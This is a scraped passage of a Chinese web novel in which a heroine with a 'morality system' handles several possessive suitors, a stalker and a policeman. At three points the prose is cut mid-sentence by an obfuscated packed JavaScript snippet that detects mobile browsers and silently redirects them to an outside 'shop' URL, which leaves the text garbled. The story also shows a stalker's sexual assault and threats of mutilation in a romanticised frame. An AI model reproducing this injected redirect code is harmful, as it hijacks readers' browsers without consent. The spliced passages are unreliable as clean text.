“你看,我刚刚打你,手都拍红了!” 她的手在沈竹青面前晃了晃,他确实看清了,这双手光滑细腻,但掌心却泛着红,提醒着刚刚这只手的主人是怎么狠狠打了他。 “这样啊,很痛吗?” 沈竹青将安童的手抓住,递到嘴边,狠狠咬了一口,留下一个更深的红印,安童短促地叫了一声,他脸上笑容放大:“现在呢,更痛了吧?” 他轻轻揉捏着这只手,饶有兴味地开口:“我还没想好怎么报复你呢,你倒是提醒了我。” “你说,我是把你这只手剁了,还是切了好啊?” “还有你的嘴巴,”沈竹青顿了顿,视线落在安童脸上,将另一种手伸出去碾磨着她的嘴唇,特意在丰润的唇珠上停留一下,紧紧按压着,“这么喜欢说谎,不如我拿针线帮你缝上?” 话是这么说,但沈竹青更像是逗弄走投无路的小动物一样,想看安童露出害怕恐惧的神情,并期待着她会怎么向自己求饶。 对付狡猾的安童,不能太轻视草率,也不能向以往用狠厉的手段解决,万一真把她吓坏了怎么办。 毕竟能让沈竹青这么感兴趣的人也就只有她一个。 安童听得心惊胆战,汗毛竖起,想要收回被咬的手,但被攥得紧紧的。 安童:“QAQ。。” 算了,就当被狗咬了,至少被沈竹青咬不用打狂犬疫苗。 虽然出师不利,敌方沈竹青打回这一招,但安童还有第二招。 她先是往走廊处看了一眼,沈长昀还没有回来。 行吧,还是得靠自己解决,也许被看到就更不好处理了。 安童酝酿了一下情绪,眼里瞬间泛起泪,由着其顺着脸颊缓缓落下,语调带着祈求,尾音微颤。 “我不就是开了个玩笑嘛,你干嘛一直针对我,明明是你有错在先,你怎么不讲理啊……” 因为哭得太激动,安童肩膀微微耸动,抽着鼻子,看起来好不可怜。 沈竹青欣赏了一会,才慢悠悠开口。 “你以为这招对我还有用吗?” 沈竹青突然凑到安童眼前,把她吓得闭着眼睛往后一躲,又被他拉回来。 安童不敢睁开眼,直愣愣站着,感受到脸颊上传来湿润又伴着粗粝的摩擦感,仿佛犬类舌头带着倒刺一掠而过。 她反应了好一会,才意识到沈竹青在轻轻舔掉她的眼泪。 ——这倒真像是只狗一样。 安童在心里淡淡吐槽着。 她受不了地睁开眼睛,用空闲的一只手再次给了沈竹青一巴掌。 清脆的巴掌声在幽静的走廊上回响着。 “够了,你不嫌脏吗!” 沈竹青任由安童打了一巴掌,感受了一下这种痛感,大脑竟有些神经质的激动起来,浅棕色的眼睛凝视着安童,带着非人的冷血诡异感:“你又打了我一巴掌,让我想想应该拿你怎么办呢?” 安童几乎有些不可思议地抬头看着沈竹青,发现他瞳孔剧烈收缩,眼神越来越兴奋。 安童鸡皮疙瘩起来了。 这什么变态啊! “嗝!”哭得太剧烈加上受到惊吓,安童被吓得打了个嗝,赶紧闭上嘴,感觉自己又被沈竹青看笑话了。 别慌别慌,再想想。 【检测到宿主由于德行值过低而陷入一系列事件,人生模拟系统为您友情赞助提示功能】 【请宿主从以下三个词中选取一个作为提示】 【A.器官】 【B.时间】 【C.数字】 就像是系统空间抽取身世时的选项一样,安童因为焦急胡乱地选了第一个。 【获得提示:耳朵】 耳朵,谁的耳朵? 安童视线乱瞟着,突然注意到沈竹青藏在碎发后的耳根竟然红成一片。 这是,在害羞? 疯狗你看起来这么狂野,还会害羞! 再怎么疯,终究还是个18岁的男大学生嘛,安童心里不慌了,甚至能镇定地思索应该怎么对付他。 沈竹青发现本来害怕得不行的安童,变得淡定起来,用那双浸着水雾的眸子打量着他,像是又在想什么鬼点子。 他犹疑地望着安童,就在这时,被他抓住的那只手回握过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781783|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈竹青察觉到安童的变化,喉结滚了滚,看安童精致动人的脸朝他凑来。 随着距离拉近,两只天差地别的手也逐渐变成了十指相扣的姿势。 沈竹青声音发哑:“你要做什么?” 他的话突然堵在喉间,瞳孔震动。 安童将嘴唇贴在他脸侧,轻轻地划过,最后靠在他耳边轻声细语:“你喜欢我这样吗?” 沈竹青偏头,想要追逐着那道柔软的触感,但被安童远离避开了。 他没有说话,只是眼神晦暗地注视着安童,像是燃着一簇火。 葱白的手指轻柔划过喉结,带来颤栗感,沈竹青喉结重重滚了滚。 这个反应足以表面一切。 安童笑了,笑得像往常一样无辜柔弱,眼里仿佛还漾着水光,毕竟最无害的小动物怎么敢招惹食物链顶端的猎食者呢。 “只要你乖一点,听话,就还会有奖励。” 沈竹青目光扫视着安童,似乎是在平衡这次给的饵是否值得。 半晌,他开口了,嗓音干涩,又带着最后的凶劲:“这次暂时这样,但我对你的报复还没有结束。” 安童心里鼓掌:看到没有,安抚一头恶犬,她只需要三招。 不过,很快她就会知道,疯狗之所以是疯狗,就在于其难以驯服的野性,和睚眦必报的偏执。 一旦看准一个目标,就会咬死不撒手,即使头破血流。 尤其是带有俄罗斯血统的狗,最为凶悍和恶劣了。 沈竹青懒洋洋地捏着安童的手,似乎是随口说道:“你和我爸分了,他这把年纪了都没有和女性接触过,多半不行,你看中他什么。” 真是个孝子,这么评价你爸,沈长昀他知道吗。 “我没有和他在一起,才刚认识而已。” 沈竹青:“那你别和他来往了。” 唔,这个嘛。 沈大佬这人还挺能处的,当个普通朋友也不是不行。 安童顾左右而言他,试图转移话题。 突然,安童看着走廊尽头眼睛一亮,赶紧甩开了沈竹青的手,往前奔去。 “沈先生,你怎么去了那么久啊!” 看着沈长昀一回来,安童就迫切和自己摆脱关系的样子,沈竹青嘴角下压,眼神像是凝着冰,周围气压也变得阴冷起来。 沈竹青磨了磨牙,嘴角敷衍地一勾。 很好。 他记下了。 13. 小型修罗场 回到包间后,安童装作和沈竹青没有发生什么的样子。 只不过经历刚刚的事,她现在没有什么胃口了。 “爸,你说得对,我对安童的态度确实太不友好了,得促进一下感情。” 安童赫然抬头,发现沈竹青拉开椅子坐到她身边,朝她露齿一笑,掏出了手机:“我们加个微信吧。” 安童:“……” 为了不节外生枝,她默默加了沈竹青好友,并悄悄给了个备注:沈疯狗。 沈长昀对沈竹青不服管教的性子心里有数,从不听谁的话,现在就只以为他放下了对安童的偏见。 他没再关注这个爱惹事发疯的养子,将所有心思放在了安童身上。 似乎刚刚短暂出去一会后,她的嘴唇变红了一些? 眼睛也像刚刚哭过一样有些红肿,脸颊上和下巴处还留着红印。 像是刚被人狠狠蹂-躏了一样。 这痕迹不禁让他再次想起了放在家里的链条,或是系在她脖颈上的领带,或许就能留下这样的红印。 沈长昀低着头平静地喝了一口水,玻璃杯壁反射出他深邃的目光,手指轻轻捻动了一下,仿佛自己也想上手触碰。 脸上没有什么特别的神情,他面色温和,似乎是随意问道:“安小姐,刚刚你出去是遇到什么了吗?” 沈竹青看了一眼紧张的安童,眉梢一挑,作势要开口说话。 “刚刚我想出去透气,结果有只飞虫爬到我脸上,我可怕虫子了。” 安童抢先回答道,眼睫微颤,似乎这就是让她刚哭过一场的原因。 听起来很像假话,但安童给人的印象确实娇气又脆弱,沈长昀很自然的相信了她的反应。 他答应出来见面,抱着的当然不是单纯吃饭的想法,见安童不动筷后,开始不动声色在话语间试探。 “安小姐,你应该不是本地人吧,之后有什么安排吗?” 语气和蔼,声线像是陈年的酒,醇厚而富有磁性,显得成熟又有分寸。 当然,这只是表面上看起来而已。 安童任由沈长昀掌控着谈话节奏,逐步引导她回答一些透露着个人喜好之类的话题。 她故作懵懂的清纯模样,傻乎乎回答了所有问题,假装自己是小白兔,跳入了对方挖好的陷阱。 真是个老谋深算的老狐狸,那就别怪她满口谎言了。 “你怎么了?” 沈长昀发现安童突然手一抖,筷子掉到了地上,滚落到脚边,正想弯腰帮她拿。 安童连忙道:“没事,可能是被冷到了,我自己来拿。” 她暗暗瞪了一眼沈竹青。 光看上半身两人都很正常,甚至保持着疏远的距离,但桌面下两人的手交缠在了一起。 刚刚沈竹青突然握住了她的手,把安童吓一跳。 这疯狗又想搞什么! 刚刚才听话,现在又开始叛逆吗! 面对沈长昀的再次绅士地问候,安童心虚地摇头:“……我真没事,就是今天穿的长裙有些太冷了。” 见状,沈长昀脱下自己的西装外套,将其极有风度但不冒犯地披在了安童身上。 她整个人笼罩在属于沈长昀的淡淡烟草味下,心想年龄大一点的就是不一样,比某些疯狗强多了。 安童羞赧地对沈长昀浅浅抿出一个微笑。 沈竹青看着两人的互动,感觉自己像个电灯泡一样。 他按揉着安童手上被他咬出印记的地方,嘴角笑意变大,看上去没生出一点怒气,但凶性隐隐从眼底深处透露出来,心里想着之后怎么从安童这里讨回来。 这就想把他踹走了? 真以为一点好处就能让他一直听话吗? 他狠狠捏了一下安童的手,将她的注意力再次挽回到自己身上。 安童吃痛,但表情稳住了,在和沈长昀聊天时,悄悄抬脚往沈竹青脚上狠狠一踩。 狗东西,能不能别随时发疯了! 沈竹青神色不变,仿佛没有任何感觉,甚至有闲心用另一只手将头发往后捋了一下,露出凌厉且极具攻击性的样貌,侧头懒洋洋地看着安童。 但安童知道,她几乎是用了自己最大的力气。 安童:“……” 哥们,你真能忍。 即使这样也还是抓着安童的手不放,慢条斯理地捏着。 算了,随便吧。 * 同一条走廊的包间。 江薄就算待在房间内,也会把帽子戴上,或者说只要出门他就会戴上。 也许是为了安全感。 他发现身边的江萦拿着手机一直在打字,疑惑地问了一句:“哥,菜已经上了,还不来吗?” “马上。”冷淡地回了一句话。 江萦正在一个个回复论坛。 [77楼:哪个哥哥会这么在意弟弟喜欢的人啊,反正我哥不会(狗头)] [楼主:因为我弟弟有点自闭,所以要更照顾他。] [78楼:懂,于是把你弟弟喜欢的人照顾到床上去是吧。] 这互联网上的人怎么回事。 江萦很少上网,他从小受着精英教育,家教森严,一成年就忙着打理家里企业的事情,身边圈子里的人也都很有涵养。 这是他第一次在论坛发帖。 因此,他不理解为什么隔着一层屏幕,这群素未谋面的网友就随口造谣。 江萦端坐在那里,气质清冷矜贵,任谁也想不到他此时正在和网友对线。 [79楼:别嘴硬了,你就是喜欢人家吧,真要为了你弟弟,一开始会这样欺骗他吗?这女生可怜不可怜又关你什么事。犹豫就是心虚,心虚就是喜欢(指指点点)] [楼主:我不喜欢她,而且我们也不可能在一起,家世不匹配。] [80楼:… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786122|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …这还不喜欢,都想到未来能不能在一起的问题了。] [81楼:嗯嗯嗯,楼主你继续嘴硬吧。] [82楼:哎呀,要我说,真要这么纠结,就撮合你弟弟和那女生,这样就两全其美。] 看到这一条,江萦划屏幕的手顿住。 但几乎没怎么思考就否定了,毕竟现在安童喜欢的是他,这样去撮合她和江薄,她一定会难过。 [90楼:你怎么能确定对方喜欢的是你呢,毕竟你是和弟弟用一个账号,万一她喜欢的是你弟弟呢?] [楼主:因为我和她线下出去玩过。] [91楼:楼主人品堪忧……你要不直接去问问女生,万一是你自作多情呢?] 安童亲口说过喜欢他。 但江萦想了想,打开了和安童的聊天框。 安童被饭桌上的气氛尴尬得打开手机,好不容易才从沈竹青那里抽出手,正在刷着视频,突然弹出一条消息。 [萦:你为什么喜欢我?] 这典型案例发病了? [安徒生:你性格还挺可爱的,嘴很甜,很适合当朋友(小狗点头)] 大家都已经差不多了,沈长昀正想问安童是否现在要走,却突然眼神一凝。 安童拿着手机的那只手上,竟然有一道极深的牙印。 痕迹很新,应该是不久前才留下的。 沈长昀视线一顿,若有所思地朝沈竹青看了一眼,又淡然收回了视线。 “走吧。” * 江薄发现江萦没有看手机了。 他夹着一道菜,抱怨道:“哥,你什么时候把账号借给我,我好久没和安童聊天了。” 江萦没回话,神色淡漠,嘴角勾起一个浅薄的笑,没有一点感情。 “回去的时候吧。” 他淡淡地打量着江薄,和自己一样的外貌,但性格内向无趣,胆小窝囊,安童喜欢这种人? 情感淡薄的内心平生头一次有了起伏,但他难以辨别这应该是什么情绪。 所以是江萦盗用了弟弟身份,安童喜欢的是江薄,他才是那个替身。 [120楼:诶,你们发现了吗,楼主没有回消息了。] [121楼:好像是从91楼开始,难道……] [122楼:(发送失败,该帖已删除)] 江萦从小情感缺失,没有什么道德感。 反正以江薄这样的性格也不可能开展一段正常的关系,更不可能和安童走得长远。 那就将错就错吧。 论坛上的人说他喜欢安童? 也许是。 江萦不知道喜欢这种情感是什么滋味,但他知道,自己现在不想把安童拱手让给弟弟。 他和江薄长相一样,连亲生父母来都难以认清。 安童把他当做江薄? 没关系。 他可以是。 14. 遇到变态男 沈长昀开车将安童送回了酒店。 一路上,安童烦不胜烦地拍开身边沈竹青试图牵住她的手,装作没发现他炽热的目光,又得神色自然地回前座沈长昀的话,处于水深火热之中。 安童:倦了。 一个人还行,两人她是真hold不住啊。 “谢谢沈先生送我回来。” 下车时,安童礼貌道谢,迫不及待地想跳下车,却被沈竹青紧紧拉住。 她用力拽了一下,没拽出来。 沈竹青咧嘴一笑,用唇语轻轻道:别想这么容易就走。 “安小姐?” 沈长昀似乎要回过头来,安童一激灵,担心被戳破的心思占了上风,连忙在沈竹青脸上亲了一口。 他勉强接受安童的这个示好,懒洋洋地松开了手,有些好笑地看着安童下一秒就打开车门蹦了出去。 她的身影逐渐消失在了酒店门口。 沈长昀没有立即开车,双手靠在方向盘上,直到看不见安童才收回视线,通过后视镜看到沈竹青也望着安童离开的方向,他似乎无意地说:“安童确实很好,是吧。我打算追求她。” 顿了一下,他语速徐缓道。 “也许不久之后的未来,她就是你小妈了。” 沈竹青沉默着没开口,他也就点到为止。 到底是他沈长昀收养的儿子,他愿意给他一次面子,不把话说开。 只要他从此把不应该有的念头收回去,沈长昀就当今天什么也没发现。 车子发动,迎着明媚的阳光往另一个方向行驶。 沈竹青感受着脚背上传来的痛,心想安童这小身板,踩人的力气倒是挺大,还好他抗揍。 所以沈长昀这老男人能行吗,安童不是他想象中乖巧柔软的女生,他根本不够安童玩几天吧。 就算在一起,也很快会被玩腻,然后被甩。 机会总是留给更年轻的人,沈竹青认为他比沈长昀更适合,况且真要论起来还是他先认识安童的。 他冷笑,低头拿着手机给安童发消息。 [青:真不想当我小妈?我爸可信誓旦旦说要追求你。] 本来是阴阳怪气,但又怕以安童的脑回路真来招惹沈长昀,他连忙补充一句。 [青:建议你好好考虑一下,我爸他私生活非常混乱,经常带不三不四的人回家,你和他在一起是走不远的。] 车内气氛沉寂,明面上的父子关系开始变得如履薄冰,维持着岌岌可危的和谐。 安童回到酒店房间后,觉得这一天经历的奇葩事情实在太多了,连鞋都懒得脱,来到卧室直接正面躺下,脸埋在了床褥中,两眼一闭就睡了。 至于反省自己德行值过低才导致的这个局面? 安童:拒绝内耗,实在有事就创飞他人,纵享完美人生。 稀里糊涂睡了一觉,醒来后发现房间内漆黑一片,只有床头的夜光灯散发着光芒。 安童按揉着太阳穴,起身走到落地窗前拉开窗帘一看,外面的天已经黑沉下来。 她点开手机,竟然已经是晚上十一点,信息栏显示着有几十通未接电话和一些聊天消息。 电话全是谢岩打来的。 安童这才想起搞忘给他拉黑,但手指停在那里顿了顿,认为谢岩的刑警身份有点用,所以还是保留了他。 她给谢岩回了一通电话,万一真有急事呢,毕竟那个连环杀人犯还逃脱在外。 等待对方接通的间隙,她匆匆看了一眼备注为“沈疯狗”的人发来的消息,这人又在胡说八道什么,安童蠢蠢欲动想在沈长昀那里打小报告。 “安童,是你吗?” 废话,安童暗暗翻了个白眼,嘴里的话也很没耐心:“有什么事?别磨磨唧唧的。” “……” 对面的谢岩被安童的态度刺了一下,脸颊上被打的地方好像又发烫起来,到嘴边的话就这样卡住。 这小绿茶现在是都懒得对他装了吗。 仿佛面对的是早些年最难对付的头号敌人,他整个身躯紧绷,沉声道:“你为什么一下午都不接电话?” “你要是还说这些我就把电话挂了。” “……我是来道歉的,虽然我确实不太喜欢你平日装出来的性格,并且怀疑你的品性,但你习惯撒谎,让我分辨不清你哪句才是真话。” 安童听到这差点没呛住:“咳,你继续。” 这是道歉? 不知道的以为这蠢驴是上门追债,这张嘴不要真的可以捐了。 “今早打我之后,你解气了吗?其实我现在已经想通了,你爱装也没事,可以随便对着我装,只要不做违法乱纪的事……” 安童就当听故事一样当个乐子,压根没把他的话过脑子,她无语地透过窗户往楼下看,发现有个身形模糊的人一直站在那里不动。 仔细一看,这人好像在抬头望着她所处的4楼的方向。 准确来说,就是在透过窗户看她。 有一瞬间,安童和那个人对视了,她赶紧躲到窗帘后,脑中雷达滴滴作响,忍不住打了个冷颤。 “我好像看到楼下有人鬼鬼祟祟的,你说会不会是那个连环杀人犯?” 谢岩话头止住,立即从沙发上起身,捞起自己的外套就要往门口走,来自刑警的嗅觉让他下意识叮嘱:“你别乱跑,保持警惕心,我这就赶过来。” 对面没有回,他拿起手机一看,发现安童已经给他挂了。 谢岩低头骂了一声,动作变快,拿起挂在门边的车钥匙就摔门往外跑。 【特殊事件:夜深人静的夜晚,酒店楼下竟然有人在暗中偷窥你,你选择——】 【A.下楼查看】 【B.按兵不动】 安童觉得楼下这人的身形看着很眼熟,心中有些疑惑,又想到特殊事件的某些选项决定着她拿数值的方向。 唔,她现在好像挺缺德行值的。 安童在窗边用了今天最后一个存档,蹑手蹑脚地走出房门,通过电梯下楼。 “滴——”电梯门开了。 安童走出电梯,此时一楼大厅只有前台还在,是个年轻的小姐姐,她看到安童后,热情地打了个招呼。 不是一个人的感觉让安童的紧张稍有缓解,她和前台聊了几句,就往酒店外走。 大街上行人稀稀拉拉,路灯勉强照亮安童眼前的区域,她左右张望,发现刚刚那个人已经走了。 所以什么收获也没有嘛,安童失望地叹了口气,正要转身往回酒店。 “唔唔!” 突然被人捂住嘴巴,被身后的人半搂半抱地往一个角落走去。 安童:“……”靠,搞偷袭! 她被吓得想回档,但想到不能浪费这一次机会,还是得想办法看清此人的脸。 安童狠狠咬了这个人的手,直到嘴里尝出了血腥味,也不见对方放松力道。 “宝宝,都告诉你别和其他男人见面了。” “我一直在看着你。” 那个人凑近她耳边呢喃着,声音经过处理,变得沙哑模糊,听不出本来的音色。 这个语气,是那个给她发骚扰短信的人! 安童:是个狠人,这就很难办了。 她注意到酒店前台的小姐姐走出门,似乎在寻找自己。 安童心中燃起希望,用力一个肘击往后打去,那个人因为疼痛导致环住她的手臂松了一些。 她趁机往前跑去,刚要求救,又被身后的人抱回去捂住嘴。 “宝宝,你不听话。” 柔软的触感贴近她后颈,冰冷又黏腻,安童想要往前缩,却被锢住腰肢往后抱回去。 “你说,我该怎么惩罚你好呢?” “唔!”后颈传来一阵刺痛,安童痛呼出声,那个人咬完之后,又在伤口上落下细密的吻,像是安抚受惊的猫一样,舔-去流出的血。 安童的眼睛也被遮住,不清楚对方要干什么,这种失控的场景让她眼里蓄起眼泪,那个人感受到手心的湿润,温柔地笑了:“别哭啊,这样就受不了了吗?” 捂住嘴巴的那只手拿开了,安童赶紧求饶,语气诚恳可怜:“你把我放了吧,我之后一定不找你麻烦。” 才怪,等她看清这人长什么样之后,天涯海角都要给他找出来送进局子。 在那之前她要先将此人套麻袋揍一顿解气! 见那人没有反应,安童又起了小心思,前台小姐姐还在不远处找她。 她刚想大声呼救,却被人封住了口,冰冷柔软的触感贴上了她的唇瓣,有个温热湿润的东西强硬地探-进嘴里。 安童有些喘不过气,想将对方抵出去,却被纠-缠得更深。 那个人嘶了一声,被安童用力咬了舌尖,血的铁锈味在两人口中传递着。他不在意这点疼痛,也不在乎被啃得全是伤口的嘴唇,闭着眼睛享受着和安童的亲昵,传来暧昧激-烈的水-声。 靠,变态! 安童忍不了了,她速速回档,一睁眼发现已经脱离了那个变态男,此时正站在窗前,手里拿着手机。 “你别乱跑,保持警惕心,我这就赶过来。” 谢岩低沉中带着焦急的声音在空荡的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798055|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间响起,这次安童没有挂断。 她语气放柔和了很多,细听还有些撒娇的味道,让谢岩有些受宠若惊:“能快一点吗,我有点害怕,”后半句几乎是用气声说出来的,显得无比脆弱,“那个人站在楼下……我怕他……谢岩,我需要你。” 谢岩小麦色的脸被她说得发红,这是安童第一次用这样温柔撒娇的口吻和他说话。 他一边打开门往外跑,一边琢磨着这个语气怪耳熟的。 直到电话被对方挂掉,坐进车里踩上油门,他才想起,这不正是小绿茶平日里和其他人聊天时装装的语气吗。 但谢岩又否定了,这次应该不是装的,毕竟有人对她图谋不轨,感到害怕是正常的。 所以安童现在很需要他。 想到这,他开车的速度更快了,心中更是担忧起安童的安危。 安童对谢岩的速度还是很放心的,怕他因为今天的矛盾而变得不积极,她还在言语间偷摸给对方加了点料。 再次看向窗外,这次安童不害怕了。 她对着那人竖了个中指,也不管对方能不能看清:没想到吧,姐会回档。 “嗡……” 手机上收到一条短信。 [你看到我了。] [宝宝,你真可爱。] [好想x你。] 啊啊啊啊变态! 安童怂了,默默洗漱完缩回被窝,等着谢岩去处理这人。 [大大大蠢驴:这人已经跑了,但他反侦查意识很强,对这里的环境也很熟悉,我没有追上。] [大大大蠢驴:但放心,我明早会调取附近的监控。] 真没用啊,安童一边犯困一边嫌弃,但总归人是跑了。 【魅力+1】 【心情-3】 可恶,结算竟然没有德行值。 精神松懈下来后,她很快就睡了,没看到谢岩发来的下一条。 [大大大蠢驴:别害怕,我今晚在楼下守着,他不敢来了。] * 第二天起来时,首先迎接安童的,竟然是系统提示。 【为了挽救当前宿主德行值过低的情况,接下来会不定期发布任务,助力您德行值早日步入正轨】 系统平常静悄悄,一出现果然在作妖。 安童对它的任务是否能提升德行值持保留态度。 习惯性点开手机一看,又是一些未接电话和消息,看得安童不耐烦。 果然,人一加多,管理平衡起来就很考验技术,是在测试她的业务能力吗? 挑挑拣拣回了几个消息,安童快速打理好自己,准备先下楼买点早饭,然后再去警局帮忙。 但出了酒店门后,却遇到了谢岩。 他依靠在车边,眼下青黑,胡茬冒出些许,模样粗糙极了,看起来一夜没睡。 发现安童出来后,谢岩目光如炬地向她看来,确认没有异常后,才放下提了一晚上的心。 这小绿茶平常看着娇气得很,尽管大部分是装的,但谢岩还是很在意,万一她夜里被吓得哭鼻子怎么办? 安童有点惊讶。 这是……守了一晚上? 这大蠢驴总是言出必行嘛,如果没有那张不合时宜的嘴就好了。 安童看在眼里,放下了一些对谢岩的厌烦,她走上前拉着他的手,一双水润的狗狗眼盛满了感激:“谢警官,昨晚上多亏有你,不然我一个人不知道该怎么办。” 又是这副绿茶做派。 谢岩认为这样可太装了,但心里又觉得这话让人服帖,安童这样茶里茶气的模样还蛮勾人。 “这是我应该做的,不过我今早让人调了附近的监控,却发现这个区域的监控昨晚刚好在维修,没有录下昨晚那人的模样。” 安童脸上的笑容淡了淡,难掩失望,开始害怕之后又被这人找上门来。 “但你放心,我能确定这人一定是本地人,我一定会把他找出来。在此期间,如果情况不对劲,你就打我的电话。” 安童甜甜地笑着:“好啊,我相信你。” 谢岩以为他和安童的关系经过这件事已经缓和了。 但之后回到警局时,安童好像没看见他一样,或是偶尔看到了他,但却略过他和别人打招呼。 第一天,谢岩只以为是安童没注意到自己,便经常在她面前转悠。 但安童只是将目光浅浅地投在他身上一会,继而和另一个女警聊案件了。 第二天,第三天……安童除了处理案件时必要的沟通,几乎不和谢岩对话。 安童怎么还不理他? 15. 再起风波 高铁上。 “安小姐,现在可以了吗?” 沈长昀哑着嗓子,沉静的目光审视着安童的神色,她眼神坦荡清澈,仿佛这样的行为很正常,只是旁人思想不端正误解了她而已。 要不是他清楚安童清纯又无辜,还真以为她是故意这样做的。 安童真是故意的。 她将手贴在沈长昀腹部轻轻按揉着,简直欲哭无泪,绞尽脑汁想着怎么回沈长昀的话,因为离系统要求的时长还有一截距离。 可恶的系统,都说了她hold不住两人了! 这段时间一直风平浪静,连环杀人犯也没有再出来搞事了。 虽然案件没结束,但也暂时告一段落,安童准备回学校继续上课,刚好沈家父子也要返回A市,于是便订了三人座的高铁票。 一个小时前,顾峤来高铁站和安童道了别,她本来还怕学长多想自己和沈家父子的关系。 毕竟他们真的清清白白。 但他只是温柔地笑笑:“童童,以后有机会再来S市玩,这次让你受惊了,下次一定补偿回来。” 不愧是学长,大度又体贴,希望全天下的男人都像他一样,安童不禁感慨。 她身边的沈竹青因为“童童”这个称谓不爽地啧了一声,眯着眼睛,带有敌意地冷冷看向顾峤,这家伙装什么啊,叫这么亲密干什么,宣誓主权吗,一看就不安好心。 沈长昀倒是极有涵养地打了招呼,语气从容:“你是安小姐的同学吧,我们在警局见过,也正因为这一面让我认识了安童,她确实是一个值得交往的人。” 这句话让顾峤的笑容有些维持不住了。 至于谢岩? 这蠢驴倒是试图联系安童,但她婉拒了,这家伙还是先提升一下自己的情商再来找她吧。 安童这段时间一直没理谢岩,一方面是对他有点偏见,一方面是因为系统下达的那该死的任务。 自从那天早上,系统经常见缝插针给她派发任务,美名其曰做好事以提高德行值。 但结果,德行值没涨多少,烂桃花倒是惹来挺多。 比如系统让安童每日保持真善美的微笑,少一些绿茶做派,她照做了,换来的结果是被告白率猛增,问就是对他们笑得太好看了。 还因此获得一个新成就——芳心纵火犯。 安童无辜:魅力太大是我的错吗? * 安童坐在沈竹青和沈长昀中间,恍然间觉得这一幕似曾相识。 大概就是刚来S市时,和江萦江薄两人坐一起的时候吧。 但绝对没有现在尴尬。 就在刚刚,系统再次下达一个任务。 【帮助他人是良好品德,请宿主帮忙缓解沈长昀的胃痛,或许可以尝试按揉胃部,按揉时间越长,可获得德行值越多】 安童侧头一看,沈长昀正仰头将几颗药倒进嘴里,干咽了下去,一向行事游刃有余的人,此时嘴唇有些发白。 “沈先生,你是胃痛吗?” 沈长昀微抬眼睫,脸上带着笑意:“早些年因为工作作息不规律导致的胃痛,已经是老毛病了。” “我学过一些按摩手法,或许可帮你揉揉。” 安童见他怔住,以为是不喜欢别人接触,心想这个任务要不就算了。 这时候提出帮他按揉,是安童也对他有一定好感的意思吗? 沈长昀试图从安童的举动中,分析出她这样做的原因,但他很快反应过来,是自己习惯性将商场上算计权衡的思维代入这个场景,可能是他想多了。 “那就麻烦安小姐了。” 不过他很快就有些后悔。 这个力道对沈长昀来说,有些太轻了,像是朵云轻飘飘地拂过,落不到实处,反而在煽风点火。 但安童看起来很单纯,没有意识到她的动作是在考验另一个人的忍耐力,甚至有点类似于调-情了。 他心里嘲笑自己,总不能当着小姑娘的面变得禽兽吧,万一把人吓跑了呢,便只能忍着。 安童感受着手下的触感,硬邦邦的,很有料,一点也不符合她刻板印象中大腹便便、疏于锻炼的中年大叔形象。 一个发神,安童按在沈长昀腹部的手,突然歪向下面不可描述的地方去了,就快要碰到的时候,沈长昀抓住安童的手。 安童:尴尬,但她真不是故意的。 她感到不好意思,抬起茫然无措开始变红的眼睛,抿唇不知道该怎么解释,突然被身边的另一人拉了过去,手却仍被沈长昀握着。 “喂,注意一下场合。” 沈竹青观察沈长昀和安童很久了,就想看他们还能看出什么伤风坏俗的事,反正最后他会从安童身上一一讨回来。 然后他就这么眼睁睁看着安童对沈长昀上下其手,最后差点在高铁上演马赛克片段(误)。 他眼神寒冷彻骨,神情极为凶悍,咬牙切齿地拽着安童的胳膊,很想把她的脸转过来狠狠捏着质问。 对我爸动手动脚? 就这么想做沈太太吗? 沈长昀调整了一下坐姿,松开了安童的手,他语速缓慢但带着压迫感:“沈竹青,松手,别这么没礼貌地对待安小姐。” 他对着安童颔首,眉眼舒展开,眼尾的细褶为其增添一份阅历感,嘴角勾勒出清浅的弧度:“安小姐,请原谅我养子的不懂事,刚刚多亏你帮忙,我现在胃已经不痛了。” 安童和沈长昀就这么若无其事地忽略掉他聊起天来,沈竹青唇角抿直,脸色阴沉地拽着安童的胳膊不肯松开,又往自己这边拉了一下。 见安童露出警告求饶的神情,他反而满足地咧嘴笑了。 这么怕被发现啊,沈竹青倒是巴不得让沈长昀发现他俩之间的不同寻常,然后识趣地放手。 安童使劲掐了一下沈竹青,这疯狗能不能别这么恶趣味,见他不肯善罢甘休,只好背对着沈长昀对他无声道:回学校补偿你。 沈竹青不情不愿地收回手。 他在一旁恶狠狠地想:安童,等着吧,回到学校我会一一讨回来。 沈长昀仿佛对安童和沈竹青之间的拉扯视若无睹,面色不变,淡定自若和安童继续聊起天。 他在心里平静地安排着,或许该把沈竹青送出国进修学习了。 * 安童回到了学校,继续自己的大学生涯。 